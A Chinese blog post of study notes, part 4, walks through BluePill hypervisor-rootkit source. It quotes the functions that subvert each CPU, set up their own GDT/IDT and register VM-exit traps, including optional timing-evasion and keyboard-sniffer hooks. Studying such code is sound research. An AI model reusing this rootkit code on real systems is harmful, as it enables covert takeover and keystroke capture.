学习BluePill源码笔记-4

来源:互联网 发布:编程什么意思 编辑:程序博客网 时间:2024/05/22 00:51

2.2 

2.2.1HvmSwallowBluepill函数

NTSTATUS NTAPI HvmSwallowBluepill (){  CCHAR cProcessorNumber;  NTSTATUS Status, CallbackStatus;  _KdPrint (("HvmSwallowBluepill(): Going to subvert %d processor%s\n",             KeNumberProcessors, KeNumberProcessors == 1 ? "" : "s"));  KeWaitForSingleObject (&g_HvmMutex, Executive, KernelMode, FALSE, NULL);  for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; cProcessorNumber++) {    _KdPrint (("HvmSwallowBluepill(): Subverting processor #%d\n", cProcessorNumber));    Status = CmDeliverToProcessor (cProcessorNumber, CmSubvert, NULL, &CallbackStatus);    if (!NT_SUCCESS (Status)) {      _KdPrint (("HvmSwallowBluepill(): CmDeliverToProcessor() failed with status 0x%08hX\n", Status));      KeReleaseMutex (&g_HvmMutex, FALSE);      HvmSpitOutBluepill ();      return Status;    }    if (!NT_SUCCESS (CallbackStatus)) {      _KdPrint (("HvmSwallowBluepill(): HvmSubvertCpu() failed with status 0x%08hX\n", CallbackStatus));      KeReleaseMutex (&g_HvmMutex, FALSE);      HvmSpitOutBluepill ();      return CallbackStatus;    }  }

for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; cProcessorNumber++)开始到结束为该函数的核心。

CmDeliverToProcessor的代码如下:

NTSTATUS NTAPI CmDeliverToProcessor (  CCHAR cProcessorNumber,  PCALLBACK_PROC CallbackProc,  PVOID CallbackParam,  PNTSTATUS pCallbackStatus){  NTSTATUS CallbackStatus;  KIRQL OldIrql;  if (!CallbackProc)    return STATUS_INVALID_PARAMETER;  if (pCallbackStatus)    *pCallbackStatus = STATUS_UNSUCCESSFUL;  KeSetSystemAffinityThread ((KAFFINITY) (1 << cProcessorNumber));  OldIrql = KeRaiseIrqlToDpcLevel ();  CallbackStatus = CallbackProc (CallbackParam);  KeLowerIrql (OldIrql);  KeRevertToUserAffinityThread ();  // save the status of the callback which has run on the current core  if (pCallbackStatus)    *pCallbackStatus = CallbackStatus;  return STATUS_SUCCESS;}
CmDeliverToProcessor代码检查参数后,提高当前线程在CPU中的亲和性(目的似乎是为了在执行该指令时不被打断)升高IRQL(只能NonPagedPool),调用HvmSubvertCpu函数。之后,降低IRQL,降低当前线程在CPU中的亲和性。


HvmSubvertCpu()函数:

NTSTATUS NTAPI HvmSubvertCpu (  PVOID GuestRsp){  PCPU Cpu;  PVOID HostKernelStackBase;  NTSTATUS Status;  PHYSICAL_ADDRESS HostStackPA;  _KdPrint (("HvmSubvertCpu(): Running on processor #%d\n", KeGetCurrentProcessorNumber ()));  if (!Hvm->ArchIsHvmImplemented ()) {    _KdPrint (("HvmSubvertCpu(): HVM extensions not implemented on this processor\n"));    return STATUS_NOT_SUPPORTED;  }  HostKernelStackBase = MmAllocatePages (HOST_STACK_SIZE_IN_PAGES, &HostStackPA);  if (!HostKernelStackBase) {    _KdPrint (("HvmSubvertCpu(): Failed to allocate %d pages for the host stack\n", HOST_STACK_SIZE_IN_PAGES));    return STATUS_INSUFFICIENT_RESOURCES;  }  Cpu = (PCPU) ((PCHAR) HostKernelStackBase + HOST_STACK_SIZE_IN_PAGES * PAGE_SIZE - 8 - sizeof (CPU));  Cpu->HostStack = HostKernelStackBase;  // for interrupt handlers which will address CPU through the FS  Cpu->SelfPointer = Cpu;  Cpu->ProcessorNumber = KeGetCurrentProcessorNumber ();  Cpu->Nested = FALSE;  InitializeListHead (&Cpu->GeneralTrapsList);  InitializeListHead (&Cpu->MsrTrapsList);  InitializeListHead (&Cpu->IoTrapsList);  Cpu->GdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_GDT_LIMIT), NULL);  if (!Cpu->GdtArea) {    _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for GDT\n"));    return STATUS_INSUFFICIENT_RESOURCES;  }  Cpu->IdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_IDT_LIMIT), NULL);  if (!Cpu->IdtArea) {    _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for IDT\n"));    return STATUS_INSUFFICIENT_RESOURCES;  }  // allocate a 4k page. Fail the init if we can't allocate such page  // (e.g. all allocations reside on 2mb pages).  //Cpu->SparePage=MmAllocatePages(1,&Cpu->SparePagePA);  Cpu->SparePage = MmAllocateContiguousPagesSpecifyCache (1, &Cpu->SparePagePA, MmCached);  if (!Cpu->SparePage) {    _KdPrint (("HvmSubvertCpu(): Failed to allocate 1 page for the dummy page (DPA_CONTIGUOUS)\n"));    return STATUS_UNSUCCESSFUL;  }  // this is valid only for host page tables, as this VA may point into 2mb page in the guest.  Cpu->SparePagePTE = (PULONG64) ((((ULONG64) (Cpu->SparePage) >> 9) & 0x7ffffffff8) + PT_BASE);#ifdef SVM_SPAREPAGE_NON_CACHED  *Cpu->SparePagePTE |= (1 << 4);       // set PCD (Cache Disable);#endif  Status = Hvm->ArchRegisterTraps (Cpu);  if (!NT_SUCCESS (Status)) {    _KdPrint (("HvmSubvertCpu(): Failed to register NewBluePill traps, status 0x%08hX\n", Status));    return STATUS_UNSUCCESSFUL;  }  Status = Hvm->ArchInitialize (Cpu, CmSlipIntoMatrix, GuestRsp);  if (!NT_SUCCESS (Status)) {    _KdPrint (("HvmSubvertCpu(): ArchInitialize() failed with status 0x%08hX\n", Status));    return Status;  }  InterlockedIncrement (&g_uSubvertedCPUs);#if 0  Cpu->LapicBaseMsr.QuadPart = MsrRead (MSR_IA32_APICBASE);  if (Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_ENABLE) {    Cpu->LapicPhysicalBase.QuadPart = Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_BASE;    Cpu->LapicVirtualBase = (PVOID) Cpu->LapicPhysicalBase.QuadPart;    // set VA=PA    MmCreateMapping (Cpu->LapicPhysicalBase, Cpu->LapicVirtualBase, FALSE);    _KdPrint (("HvmSubvertCpu(): Local APIC Base PA 0x%08hX, mapped to VA 0x%08hX\n", Cpu->LapicPhysicalBase.QuadPart,               Cpu->LapicVirtualBase));  } else {    _KdPrint (("HvmSubvertCpu(): Local APIC is disabled\n"));  }#endif  // no API calls allowed below this point: we have overloaded GDTR and selectors#ifdef _X86_#else  HvmSetupGdt (Cpu);  HvmSetupIdt (Cpu);#endif#if DEBUG_LEVEL>1  _KdPrint (("HvmSubvertCpu(): RFLAGS = %#x, CR8 = %#x\n", RegGetRflags (), RegGetCr8 ()));#endif  Status = Hvm->ArchVirtualize (Cpu);  // never reached  InterlockedDecrement (&g_uSubvertedCPUs);  return Status;}

该函数首先创建并初始化了一个CPU结构,接着构造了自己的GDT表和IDT表。

最后,该函数侵染CPU核心。侵染过程如下:

  Status = Hvm->ArchRegisterTraps (Cpu);  Status = Hvm->ArchInitialize (Cpu, CmSlipIntoMatrix, GuestRsp);  InterlockedIncrement (&g_uSubvertedCPUs);  Cpu->LapicBaseMsr.QuadPart = MsrRead (MSR_IA32_APICBASE);  if (Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_ENABLE) {    Cpu->LapicPhysicalBase.QuadPart = Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_BASE;    Cpu->LapicVirtualBase = (PVOID) Cpu->LapicPhysicalBase.QuadPart;    // set VA=PA    MmCreateMapping (Cpu->LapicPhysicalBase, Cpu->LapicVirtualBase, FALSE);  }  Status = Hvm->ArchVirtualize (Cpu);  // never reached  InterlockedDecrement (&g_uSubvertedCPUs);  return Status;}

2.2.2 侵染核心三个步骤

Hvm->ArchRegisterTraps(Cpu) 注册VMEXIT事件处理函数

Hvm->ArchInitialize(Cpu, CmSlipIntoMatrix, GuestRsp); 开启虚拟机模式成为Hypervisor并构建虚拟机装入原来的操作系统

Hvm->ArchVirtualize(Cpu)开启虚拟机。


2.2.3 Hvm->ArchRegisterTraps(Cpu) 注册VMEXIT事件处理函数

该方法对应的函数实际为(不讨论AMD)位于vmxtraps.c

NTSTATUS NTAPI VmxRegisterTraps (  PCPU Cpu){  NTSTATUS Status;  PNBP_TRAP Trap;#ifndef VMX_SUPPORT_NESTED_VIRTUALIZATION  // used to set dummy handler for all VMX intercepts when we compile without nested support  ULONG32 i, TableOfVmxExits[] = {    EXIT_REASON_VMCALL,    EXIT_REASON_VMCALL,    EXIT_REASON_VMLAUNCH,    EXIT_REASON_VMRESUME,    EXIT_REASON_VMPTRLD,    EXIT_REASON_VMPTRST,    EXIT_REASON_VMREAD,    EXIT_REASON_VMWRITE,    EXIT_REASON_VMXON,    EXIT_REASON_VMXOFF  };#endif  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_CPUID, 0, // length of the instruction, 0 means length need to be get from vmcs later.                                                      VmxDispatchCpuid, &Trap))) {    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchCpuid with status 0x%08hX\n", Status));    return Status;  }  TrRegisterTrap (Cpu, Trap);  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_MSR_READ, 0,      // length of the instruction, 0 means length need to be get from vmcs later.                                                      VmxDispatchMsrRead, &Trap))) {    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchMsrRead with status 0x%08hX\n", Status));    return Status;  }  TrRegisterTrap (Cpu, Trap);  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_MSR_WRITE, 0,     // length of the instruction, 0 means length need to be get from vmcs later.                                                      VmxDispatchMsrWrite, &Trap))) {    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchMsrWrite with status 0x%08hX\n", Status));    return Status;  }  TrRegisterTrap (Cpu, Trap);  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_CR_ACCESS, 0,     // length of the instruction, 0 means length need to be get from vmcs later.                                                      VmxDispatchCrAccess, &Trap))) {    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchCrAccess with status 0x%08hX\n", Status));    return Status;  }  TrRegisterTrap (Cpu, Trap);  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_INVD, 0,  // length of the instruction, 0 means length need to be get from vmcs later.                                                      VmxDispatchINVD, &Trap))) {    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchINVD with status 0x%08hX\n", Status));    return Status;  }  TrRegisterTrap (Cpu, Trap);  // set dummy handler for all VMX intercepts if we compile wihtout nested support  for (i = 0; i < sizeof (TableOfVmxExits) / sizeof (ULONG32); i++) {    if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, TableOfVmxExits[i], 0,      // length of the instruction, 0 means length need to be get from vmcs later.                                                        VmxDispatchVmxInstrDummy, &Trap))) {      _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchVmon with status 0x%08hX\n", Status));      return Status;    }    TrRegisterTrap (Cpu, Trap);  }#ifdef INTERCEPT_RDTSCs  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_EXCEPTION_NMI, 0, VmxDispatchException, &Trap))) {    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchException with status 0x%08hX\n", Status));    return Status;  }  TrRegisterTrap (Cpu, Trap);  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_RDTSC, 0, VmxDispatchRdtsc, &Trap))) {    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchRdtsc with status 0x%08hX\n", Status));    return Status;  }  TrRegisterTrap (Cpu, Trap);#endif#ifdef VMX_ENABLE_PS2_KBD_SNIFFER  if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_IO_INSTRUCTION, 0,        // length of the instruction, 0 means length need to be get from vmcs later.                                                      VmxDispatchIoAccess, &Trap))) {    _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchIoAccess with status 0x%08hX\n", Status));    return Status;  }  TrRegisterTrap (Cpu, Trap);#endif  return STATUS_SUCCESS;}

未完待续。。。


0 0